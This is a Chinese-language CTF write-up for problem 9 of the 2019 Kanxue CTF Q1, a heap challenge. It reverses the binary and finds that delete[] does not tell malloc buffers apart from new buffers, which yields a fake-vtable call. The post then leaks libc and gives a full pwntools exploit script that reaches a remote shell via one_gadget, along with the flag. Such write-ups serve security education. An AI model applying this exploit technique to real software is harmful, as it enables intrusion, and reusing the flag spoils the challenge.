首页
社区
课程
招聘
[原创]2019看雪CTF 晋级赛Q1 第9题
2019-3-23 00:26 2939

[原创]2019看雪CTF 晋级赛Q1 第9题

2019-3-23 00:26
2939
一、使用checksec 看下程序状况: 可知got表可写、elf文件地址固定。
 Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled
二、main函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rdx
  unsigned __int64 readCmd; // rax

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  __printf_chk(1LL, "Please input your name: ", v3);
  readData(g_inputName, 16LL);
  while ( 1 )
  {
    printMenu();
    readCmd = readInt();
LABEL_3:
    switch ( readCmd )
    {
      case 0uLL:
        continue;
      case 1uLL:                                // malloc
        mallocByFun((__int64 (__fastcall *)(unsigned __int64))mallocAndClearBuf);
        continue;
      case 2uLL:                                // free
        sub_401010((__int64 (__fastcall *)(unsigned __int64))freeByIndex);
        continue;
      case 3uLL:                                // new
        mallocByFun((__int64 (__fastcall *)(unsigned __int64))newClassFun);
        continue;
      case 4uLL:                                // delete
        sub_401010((__int64 (__fastcall *)(unsigned __int64))freeNewClass);
        printMenu();
        readCmd = readInt();
        if ( readCmd > 5 )
          return 0LL;
        goto LABEL_3;
      case 5uLL:                                // puts
        sub_401010((__int64 (__fastcall *)(unsigned __int64))PrintfByIndex);
        break;
      default:
        return 0LL;
    }
  }
}
一、malloc函数
char __fastcall mallocByFun(__int64 (__fastcall *mallocFun)(unsigned __int64))
{
  unsigned __int64 num; // rax
  __int64 findIndex; // rbx
  unsigned __int64 index; // rbp
  char result; // al
  signed __int64 v5; // r12
  __int64 v6; // rbp
  signed __int64 v7; // r12

  puts("Please input length of the string");
  num = readInt();                              // len <=0x400
  if ( num > 0x400 )
LABEL_10:
    exit(-1);
  findIndex = 0LL;
  index = (unsigned __int64)(0x8888888888888889LL * (unsigned __int128)(num + 14) >> 0x40) >> 3;
  while ( g_array_mallocBuf[findIndex] )
  {
    if ( ++findIndex == 0x20 )                  // g_array_mallocBuf[0x19]不为空,则findIndex = 0x20,
                                                // 此时会越界g_array_mallocBuf[findIndex]
      goto LABEL_10;
  }
  g_array_mallocBuf[findIndex] = (void *)mallocFun((unsigned __int64)(0x8888888888888889LL
                                                                    * (unsigned __int128)(num + 14) >> 0x40) >> 3);
  g_array_mallocBufSize[findIndex] = index;
  result = puts("Please input the string");
  if ( index )
  {
    v5 = 3 * index;
    v6 = 0LL;
    v7 = 8 * v5;
    do
    {
      result = readData((char *)g_array_mallocBuf[findIndex] + v6 + 8, 16LL);
      if ( !result )
        break;
      v6 += 24LL;
    }
    while ( v6 != v7 );
  }
  return result;
}

char *__fastcall mallocAndClearBuf(__int64 num)
{
  char *mallocBuf; // rax
  char *v2; // rdx
  __int64 v3; // rcx

  mallocBuf = (char *)malloc(24 * num);
  if ( num )
  {
    v2 = mallocBuf + 8;
    v3 = 0LL;
    do
    {
      ++v3;
      *(_QWORD *)v2 = 0LL;
      *((_QWORD *)v2 + 1) = 0LL;
      v2 += 24;
    }
    while ( num != v3 );
  }
  return mallocBuf;
}
1、维护一个存储malloc指针数组和存储每个malloc buf的size数组。数组个数为0x20。没有发现存在越界的问题。
2、相应的malloc函数也没有发现存在缓冲区溢出的问题。
3、程序根据用于输入数据通过计算后得到一个num 申请的buf大小为24,将后16个字节清零,然后从终端读取数据存入这16个字节中,只存储15个字符,最后一个字符清0。
4、malloc相关函数没发现漏洞。
二、free函数
int __fastcall sub_401010(__int64 (__fastcall *a1)(unsigned __int64))
{
  unsigned __int64 delteNum; // rax
  int result; // eax

  puts("Please input index of the string");
  delteNum = readInt();
  if ( delteNum > 0x1F )
    exit(-1);
  if ( g_array_mallocBuf[delteNum] )
    result = a1(delteNum);
  else
    result = puts("The string does not exit");
  return result;
}
void __fastcall freeByIndex(__int64 index)
{
  free(g_array_mallocBuf[index]);
  g_array_mallocBuf[index] = 0LL;
}
free相关函数没有发现啥漏洞。
三、new函数
struct newBuf *__fastcall newClassFun(unsigned __int64 num)
{
  __int64 num_1; // rbx
  bool v2; // cf
  bool v3; // zf
  unsigned __int64 mallocLen; // rdi
  struct NewClass *strClass; // rax
  signed __int64 realNum; // rcx
  char *v7; // rdx
  struct newBuf *result; // rax

  num_1 = num;
  v2 = num < 0x550000000000000LL;
  v3 = num == 0x550000000000000LL;
  mallocLen = -1LL;
  if ( v2 || v3 )
    mallocLen = 24 * num_1 + 8;
  strClass = (struct NewClass *)operator new[](mallocLen);
  realNum = num_1 - 1;
  strClass->num = num_1;
  v7 = strClass->newBuf.buf;
  result = &strClass->newBuf;
  if ( num_1 )
  {
    do
    {
      --realNum;
      *((_QWORD *)v7 - 1) = &g_vtable;
      *(_QWORD *)v7 = 0LL;
      *((_QWORD *)v7 + 1) = 0LL;
      v7 += 24;
    }
    while ( realNum != -1 );
  }
  return result;
}
1、申请24*num + 8大小的buf
2、前8个字节放入一个g_vtable虚函数表(包含一个空函数,和一个j___ZdlPv释放函数)
3、后16个size,清0用于存放输入数据。
4、没发现啥漏洞。
四、delete函数
void __fastcall freeNewClass(__int64 index)
{
  __int64 *buf; // rdx
  __int64 *v2; // rbx
  void (*v3)(); // rax

  buf = (__int64 *)g_array_mallocBuf[index];
  if ( buf )
  {
    v2 = &buf[3 * *(buf - 1)];
    while ( v2 != buf )
    {
      while ( 1 )
      {
        v2 -= 3;
        v3 = *(void (**)())*v2;
        if ( v3 == nullsub_1 )
          break;
        ((void (__fastcall *)(__int64 *))v3)(v2);
        buf = (__int64 *)g_array_mallocBuf[index];
        if ( v2 == buf )
          goto LABEL_6;
      }
    }
LABEL_6:
    operator delete[](v2 - 1);
  }
  g_array_mallocBuf[index] = 0LL;
}
1、函数会定位到最后一个buf位置,读取其vtable,并执行。
2、从最后一个检索到第一个连续执行。
3、漏洞:malloc和new的buf都存储在一个数组中,没有进行区分。delete一个通过malloc申请的buf,构造vtable表,就可以执行任意函数。
五、printf函数
__int64 __fastcall PrintfByIndex(__int64 index, __int64 a2, __int64 a3)
{
  __int64 v3; // rbp
  unsigned __int64 v4; // rbx
  char *v5; // rdx

  v3 = 0LL;
  v4 = 0LL;
  if ( g_array_mallocBufSize[index] )
  {
    do
    {
      v5 = (char *)g_array_mallocBuf[index] + v3;
      ++v4;
      v3 += 24LL;
      __printf_chk(1LL, &unk_4010E6, v5 + 8);
    }
    while ( g_array_mallocBufSize[index] > v4 );
  }
  return __printf_chk(1LL, &unk_4010E4, a3);
}
打印没发现啥漏洞,通过构造应该能够打印出想要的地址。
六、漏洞分析
通过上面分析只发现一个明显的漏洞,当使用delete删除的时候没有区分是通过malloc创建的还是new创建的,因此可以使用delete释放通过malloc的buf时,会首先判断24个字节buf的前8字节是否存在vtable,如果存在,则执行其函数,因此可以执行一个任意函数。
但是这里存在一些限制:
1)无法设置参数,因此想要拿到 shell,最容易的办法是通过 one-gadget。
2)要求其存放的是一个指针,指针内容为要执行的函数。因此可以执行got.plt中的函数,但是发现无论是put函数还是其他函数都无法构造合理的参数。
3)如何获取libc的地址?

七、获取libc地址
发现程序存在一个不会执行的函数,其会打印出libc的函数puts地址
__int64 sub_400E10()
{
  signed __int64 v1; // [rsp-8h] [rbp-8h]

  v1 = 684069LL;
  return __printf_chk(0LL, &v1, &puts);
}
可以通过这个函数获得libc地址
八、构建执行任意函数通道
在程序开始输入用户名时,其会将输入的名字存放到一个全局变量中。
 __printf_chk(1LL, "Please input your name: ", v3);
  readData(g_inputName, 16LL);
此buf为16个字节,因此我们可以将g_inputName 与 g_inputName+8 作为vtable的地址,然后把想要执行的函数地址写入到 g_inputName中,就可以构建执行任意函数的通道。
此buf只有16个字节,只能写入2个函数,并且这2个函数被直接执行,无法做到控制。我们可以把要执行的函数地址写入到g_inputName中,然后将main函数地址写入到 g_inputName + 8位置,这样就可以无限循环执行任意函数了。
九、漏洞利用实现
1、使用malloc malloc一块大小为24个字节的buf。随便输入任意数据。
2、再次使用malloc ,malloc一个大块内存。
3、输入payload到第2次malloc的buf中。
4、调用delete函数,删除第一次malloc的buf,将执行任意函数。
当删除malloc 1的时候,会将其作为new创建的buf删除,首先获取这个buf的数量,会将其 thrunksize当做num,而此时其值为0x21,程序定位到:
(0x21-1)*0x18 = 0x300位置,然后执行此位置的vtable指向的函数。然后依次往上执行。
需要执行2个函数,可以利用0x20、0x21号buf。同时对于每个24字节会将用户输入的15个字符写入其中。因此我们可以计算出最后2个块的地址,然后将 g_inputName 与g_inputName+8分别写入其中。就可以执行我们在开始输入用户名是写入的地址了。最后构建的payload如下:
pyload = 'a'*443 + p64( g_inputName) + '1'*7 + p64( g_inputName+8 ) + 'x'*15。
5、one-gadget如下:
0x45216	execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4	execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
分析发现可以选取:0xf02a4。
脚本如下:
#!/usr/bin/python
# coding:utf-8
from pwn import *
from zio import *
context(log_level='debug')


addr_put = 0x602328
addr_main = 0x602330
fun_printPut = 0x400e10
fun_main = 0x4009A0
put_offset=0x6F690
system_offset= 0x45390
#one_gadgetOffset = 0x4526A
one_gadgetOffset =  0xf02a4
#one_gadgetOffset =  0xf1147

libcBaseAddr = 0
one_gadget = 0

def gotoMain(fun1, fun2):
    io.recvuntil('Please input your name:')
    payload = p64(fun1) + p64(fun2)
    io.sendline(payload)
    io.recvuntil('>>')

def malloc(num, data):
    io.sendline('1')
    io.recvuntil('Please input length of the string')
    io.sendline(str(num))
    io.recvuntil('Please input the string')
    io.sendline(data)
    io.recvuntil('>>')

def delete(num):
    io.sendline('4')
    io.recvuntil('Please input index of the string')
    io.sendline(str(num))
    print 'end delete'


if __name__ == '__main__':
    #io = process('./candcpp')
    io = remote('154.8.222.144', 9999)	
    print '=====go to main====='
    gotoMain(fun_printPut, fun_main) 
    print '=====malloc buf 1====='
    malloc(1, '1')
    print '=====malloc buf 2====='
    pyload = 'a'*443 + p64(addr_main) + '1'*7 + p64(addr_put) + 'x'*15
    malloc(1024, pyload)
    delete(0)
    
    p = io.recvuntil('Please input your name')
    start = p.index('0x')
    end = p.index('\nPlease input your name')
    print p[start:end]
    putAddr = int(p[start+2:end], 16)
    libcBaseAddr = putAddr - put_offset
    print 'libcBaseAddr = ' + str(hex(libcBaseAddr))
    one_gadget = libcBaseAddr + one_gadgetOffset
    print 'one_gadget = ' + str(hex(one_gadget))

    print '=====next go to main====='
    payload = p64(one_gadget) + p64(one_gadget)
    io.sendline(payload)
    io.recvuntil('>>')

    print '=====next malloc buf 1====='
    malloc(1, '1')
    print '=====next malloc buf 2====='
    pyload = 'a'*443 + p64(addr_main) + '1'*7 + p64(addr_put) + 'x'*15
    malloc(1024, pyload)
    #gdb.attach(proc.pidof(io)[0])
    #sleep(5)
    delete(2)
    io.interactive()
    print 'end'
    pause()

    
flag 为:flag{D0_N07_M1x_C_and_CPP_M3mOrY_A11oCa7ion_e675}









[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2019-3-23 13:10 被ODPan编辑 ,原因:
收藏
免费 4
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回